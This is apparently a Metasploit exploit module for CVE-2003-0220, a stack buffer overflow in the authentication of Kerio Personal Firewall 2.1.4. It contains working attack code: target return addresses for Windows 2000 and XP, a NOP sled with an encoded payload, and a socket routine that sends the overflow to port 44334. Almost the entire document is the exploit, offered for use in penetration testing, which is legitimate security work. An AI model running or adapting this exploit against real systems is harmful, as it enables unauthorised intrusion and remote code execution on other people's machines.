Kerio Firewall 2.1.4 Authentication Packet Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Kerio Personal Firewall
        administration authentication process. This module has only been tested
        against Kerio Personal Firewall 2 (2.1.4).
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2003-0220'],
          ['OSVDB', '6294'],
          ['BID', '7180']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
          [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e3171b } ],
          [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2003-04-28',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(44334)
      ])
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit =  make_nops(4468) + payload.encoded
    sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')

    sock.put(sploit)
    sock.get_once(-1, 3)

    handler
    disconnect
  end
end